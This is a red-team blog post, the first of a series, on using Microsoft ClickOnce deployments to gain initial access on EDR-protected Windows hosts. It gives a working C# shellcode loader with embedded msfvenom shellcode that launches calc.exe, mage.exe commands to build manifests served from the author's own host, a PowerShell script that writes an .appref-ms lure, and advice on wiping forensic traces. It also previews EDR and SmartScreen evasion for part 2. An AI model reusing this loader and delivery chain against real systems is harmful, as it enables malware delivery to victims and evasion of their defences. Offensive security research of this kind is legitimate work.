White Papers
January 31, 2024 . 10 min read

Pwning the EDRs for Initial Access : PART-1

A detailed series on how to gain successful initial access inside a hardened environment.

ClickOnce

We can think of ClickOnce as an installer technology which makes it easy for the user to install, update or upgrade a desired application.

According to MSDN, ClickOnce majorly helps in overcoming the following issues in deployment,

  1. Difficulties while updating application,since ClickOnce Application performs deployment based on a manifest file which has information such as version number about the underlying packages that are going to be installed ,only the affected packages automatically gets updated during the installation.

  2. Component Isolation, with windows by design installer deployments ,shared resources becomes significant for the applications stability.Since each ClickOnce application has its own self contained resource ,it solves out the conflicts happening due to resource sharing.

  3. Security permissions, Windows by-design installer requires Administrative Privileges for the application to be installed inside of the system. ClickOnce simply doesn't need such a requirement due to its by-design isolated resources and permissions. [Red Team can you hear ME!!!!!]

  4. Each ClickOnce application is installed to and run from a secure per-user, per-application cache.

Let's take a closer look at the file format of ClickOnce Applications before delving deeper into their features and deployment process.

ClickOnce Application and its Deployment Architecture

A ClickOnce application is any Windows Presentation Foundation (.xbap), Windows Forms (.exe), Console application (.exe), or Office solution (.dll) published using ClickOnce technology.

  • A ClickOnce application can be installed on an end user's computer and run locally even when the computer is offline, or it can be run in an online-only mode without permanently installing anything on the end user's computer.

The ClickOnce deployment architecture hugely depends on these two XML manifest files: an application manifest and a deployment manifest.

These files are responsible to let the ClickOnce installer know the following:

  1. From where the ClickOnce applications are installed from.

  2. How and When these packages are updated.

Application Manifest (*.exe.manifest): The application manifest describes the application itself. This includes assemblies, their dependencies and files that make up an application, required permissions, and location where updates will be available. In Easy Words this .exe.manifest file contains mapping of files (exe/dlls/others) that helps ClickOnce Installer to find all the necessary packages,their names ,sizes and defined prerequisites such as Calling Up the CLR.

For a Red team, Application manifest is the xml file which gets build and hosted on payload hosting server, to be called by the ClickOnce deployment.All the files listed inside of the manifest file will then be fetched from the webserver for performing infections during the deployment.

Deployment Manifest (*.application): The deployment manifest describes how a created ClickOnce application is going to be deployed. This XML Manifest file has the following information:

    1. Installation Strategy:This defines how a ClickOnce application has to be deployed inside of the target system. This is of two types:
    • Online-Only Mode(aka Install="false"): Used when it requires to run programs on that system without actually installing anything.[No further updates are possible since packages don't persist on that system]
    • Online or Offline Mode(aka Install="true"): Used when it requires to persist as a package inside of that particular system.[Further Updates/Upgrades are possible]

OPSEC Alert:

  • Performing a good Cleanup : From the perspective of the trails left by each of the above mentioned installation strategies.
  • Online-Only Mode: leaves lesser footprints which can be found on these specific location:
######## Registry
Computer\\HKEY_CURRENT_USER\\SOFTWARE\\Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Deployment\\SideBySide\\2.0\\Components\\<package_name> [**Cleanup Required!** ]

######## On-disk
%temp%\\Deployment  # No left-over
"%LOCALAPPDATA%\\Apps\\2.0\\<randomstring>"  #<Package-name>.exe.config will be left over
#Most of the files automatically gets removed after running once



######## Online or Offline Mode** creates far more changes in registry values,Start Menu,Control Panel Programs and files are permanently stored in:
#// Registry
HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall<key> #Cleanup Required!
Computer\\HKEY_CURRENT_USER\\SOFTWARE\\Classes\\Software\\Microsoft\\Windows\\CurrentVersion\\Deployment\\SideBySide\\2.0\\Components\\<package_name> # Cleanup Required!

#// On disk
"%LOCALAPPDATA%\\Apps\\2.0\\<randomstring>" Folder. # All Application files are stored here, Cleaup Required!
%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\<Application Name>\\<Application files>.appref-ms

Automating the process of ClickOnce creation

Creating a sample ClickOnce application: One can definitely use Visual Studio for creating a ClickOnce application ,complete process is already documented by Microsoft here.

Deploy a .NET Windows Desktop app with ClickOnce - Visual Studio (Windows) MicrosoftLearn

But for this demonstration, a tool called mage.exe(Manifest Generation and Editing Tool) has been used for creating this application and deployment manifest. Below are the steps to reproduce:

  • Step 1: Download and install visual studio above version 16.8.
  • Step 2: Create a sample .Net project and compile it with csc.exe (Using V2.0.5072)
%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe /platform:anycpu /o+ /r:System.EnterpriseServices.dll /r:System.Management.Automation.dll /r:Microsoft.Build.Framework.dll /target:winexe /out:"output\\payload.exe" "payload.cs"
// sample code for payload.cs ,we will improve this when we will be loading up the command and control shellcode in Part 2 ;)

using System;
using System.Runtime.InteropServices;
namespace loader {
      class Program {
            [DllImport("kernel32.dll")]
            public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, UInt32 flAllocationType, UInt32 flProtect);

            [DllImport("kernel32.dll")]
            private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

            [DllImport("kernel32.dll")]
            private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);


            static void Main(string\[\] args) {
                  byte\[\] buf = new byte\[276\] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
                  0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
                  0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
                  0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
                  0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
                  0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
                  0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
                  0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
                  0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
                  0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
                  0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
                  0x63,0x2e,0x65,0x78,0x65,0x00};

                  int shellcode_size = buf.Length;
                  IntPtr init = VirtualAlloc(IntPtr.Zero, shellcode_size, (UInt32)TYPE.MEM_COMMIT, (UInt32)PROTECTION.PAGE_EXECUTE_READWRITE);

                  Marshal.Copy(buf, 0, init, shellcode_size);
                  IntPtr hThread = IntPtr.Zero;

                  UInt32 threadId = 0;=
                  IntPtr pinfo = IntPtr.Zero;

                  hThread = CreateThread(0, 0, (UInt32)init, pinfo, 0, ref threadId);
                  WaitForSingleObject(hThread, 0xFFFFFFFF);
            }

            public enum TYPE {
                  MEM_COMMIT = 0x00001000
            }

            public enum PROTECTION {
                  PAGE_EXECUTE_READWRITE = 0x40
            }
      }
}
  • Step3: Create an application manifest file using mage.exe
mage.exe -New Application -FromDirectory .\\payload\\ -Version 1.0.0.0

  • Step 4: Create a deployment manifest(ClickOnceSample.application) using mage.exe[Offline or Online Mode "ON"]

    1. Just turn -Install false for Online Only.[More Stealthy but appref-ms will not work as it requires -Install true "Always"]

Note: copy application.exe.manifest and ClickOnceSample.application to the output directory where payload.exe has been written

mage.exe -New Deployment -Processor MSIL -Install true -name "Clickonce-Test-POC" -Publisher "sample" -ProviderUrl "http://labs.pivotsec.in:8080/ClickOnceSample.application" -AppManifest .\\application.exe.manifest -ToFile ClickOnceSample.application"
  • Step 5: Host all the files in a webserver ,a simple python http server can be used for this.
python -m http.server 8080 -d ./output/

Now that we have a ClickOnceSample.application ready to be served ,let look at how the client/victim can deploy this

OPSEC: In Step 2, we have created a simple loader which is unsigned. When it is called by our ClickOnce application, it will prompt user with SmartScreen and will trigger the EDR in place. Don't worry we are going to bypass both of them in Part-2 of this series.

  • Step 6: Create appref-ms (an UTF-16 LE encoded .lnk like) file that points out to Deployment Manifest.

One can use the below powershell script to produce appref-ms of their choice.

####### Create-appref_ms.ps1

$filePath = "ClickOnceSample.appref-ms"
$content = "http://labs.pivotsec.in:8080/ClickOnceSample.application#payload.exe, Culture=neutral, PublicKeyToken=0000000000000000, processorArchitecture=msil"

$encoding = [System.Text.Encoding]::Unicode
[System.IO.File]::WriteAllText($filePath, $content, $encoding)

Finally, we have ClickOnceSample.appref-ms file which can be download on the client side for initiating the ClickOnce deployment.

REM ClickOnceSample.appref-ms
REM This file has to be saved as UTF-16 LE
http://labs.pivotsec.in:8080/ClickOnceSample.application#payload.exe, Culture=neutral, PublicKeyToken=0000000000000000, processorArchitecture=msil

Now that we have the required manifest files for ClickOnce Deployment ,lets look at how the installation will look like on the Client/Victim's browser.

Web Based deployment of ClickOnce Application

A ClickOnce application can be installed on an end user's computer and run locally even when the computer is offline, or it can be run in an online-only mode without permanently installing anything on the end user's computer.

User can install a ClickOnce application using the following ways:

  1. Go to a URL pointing to an .application file within Windows Default Web Browser (Microsoft Edge Browser)

Browser automatically opens .application ClickOnce installer.

  1. Download an .application file and run it for "Online" or "Online or Offline" deployment

Initiating ClickOnce installation by downloading and clicking on an .application file

  • Download and Install ClickOnce application using .appref-ms.

User performing .appref-ms based installation

  • OPSEC Alert: User will get a Security Warning when clicking on the downloaded .appref-ms file (This increases the clicks that victim has to perform before a successful infection). ​ User presented with a security warning
    • Once user Clicks On "Open", an installation window appears similar to what we have already seen with the .application file

Red Team challenges for a successful initial access and what's next?

Below are some of the challenges that needs to be overcome for a successful infection in a red team engagement.

  1. If ClickOnce is not opened on a default Microsoft edge browser, it requires victim to download and run our ClickOnce application[.application or .appref-ms] explicitly.

  2. User was prompted by the SmartScreen since the loader code is unsigned.This increases number of clicks(3-4 Clicks) that user must perform for successful execution.[PART-2 significantly drops the clicks required to 2-3 Clicks max.]

  3. In this demonstration,Loader has a very high detection against several EDRs including WD ,this can be lowered if we modify our loader with the following changes.

    • Payload used here is a simple PIC(Position independent Code/Shellcode) generated using msfvenom that pops up a calculator upon execution but in an engagement PIC has to be a shellcode of a command and control server that has to be encoded/encrypted while making sure that overall Entropy of our loader remains as close to a non-malicious binary as possible. [hint: find me in PART-2!!]

    • A simple process injection technique is used here which can be easily be hooked by EDRs to inspection [Userland unhooking/Bypass techniques are required], API's such as CreateThread is going to be monitored by EDRs on a kernel land using ETW Telemetry which might trigger yara based memory scans for scanning known patterns etc.

What's next?

To Solve out the challenges faced in this demonstration, P.I.V.O.T labs will be releasing another blog soon which will cover topics for overcoming several real world challenges faced by red teams while Pwning EDRs and Gaining Initial Access.

Topics covered in PART-2:

  • ClickOnce Bypass Strategies.
  • Creating Stealth C# Loader.
  • .NET Backdooring.
  • ClickOnce VS SmartScreen/WD/EDR(s).

DISCLAIMER: The code and content provided in this blog are intended for educational purposes only. They are provided "as is" without any warranty, expressed or implied, including but not limited to the accuracy, correctness, or suitability for any particular purpose. The author and the platform shall not be held liable for any direct, indirect, incidental, special, exemplary, or consequential damages arising from the use, misuse, or inability to use the code or content. The information provided in this blog is based on the author's personal experience and research, and it may not necessarily reflect the most up-to-date practices or standards. Users are solely responsible for understanding and complying with any applicable laws, regulations, or ethical guidelines related to their use of the provided code and content. Use at your own risk.

Like what you read? Share with your community.
Nikhil Srivastava
OSCP | CEO P.I.V.O.T Security
I am passionate about safeguarding organizations against the ever-evolving landscape of cyber threats. With a strong foundation in offensive cybersecurity, my mission is to help businesses stay ahead of potential attacks through innovative solutions and strategic guidance.
Share with your community!
Sign Up for Our Security Newsletter
Get the information you need conveniently delivered to your email, saving you time and effort.
logo
startupindia
Accreditations
ISO/IEC 27001:2022
ISO 9001:2015
Let’s Connect
We are on a mission to bridge the gap between offense and defense
© 2024 P.I.V.O.T Security Private Limited | Sitemap
youtube
linkedin
twitter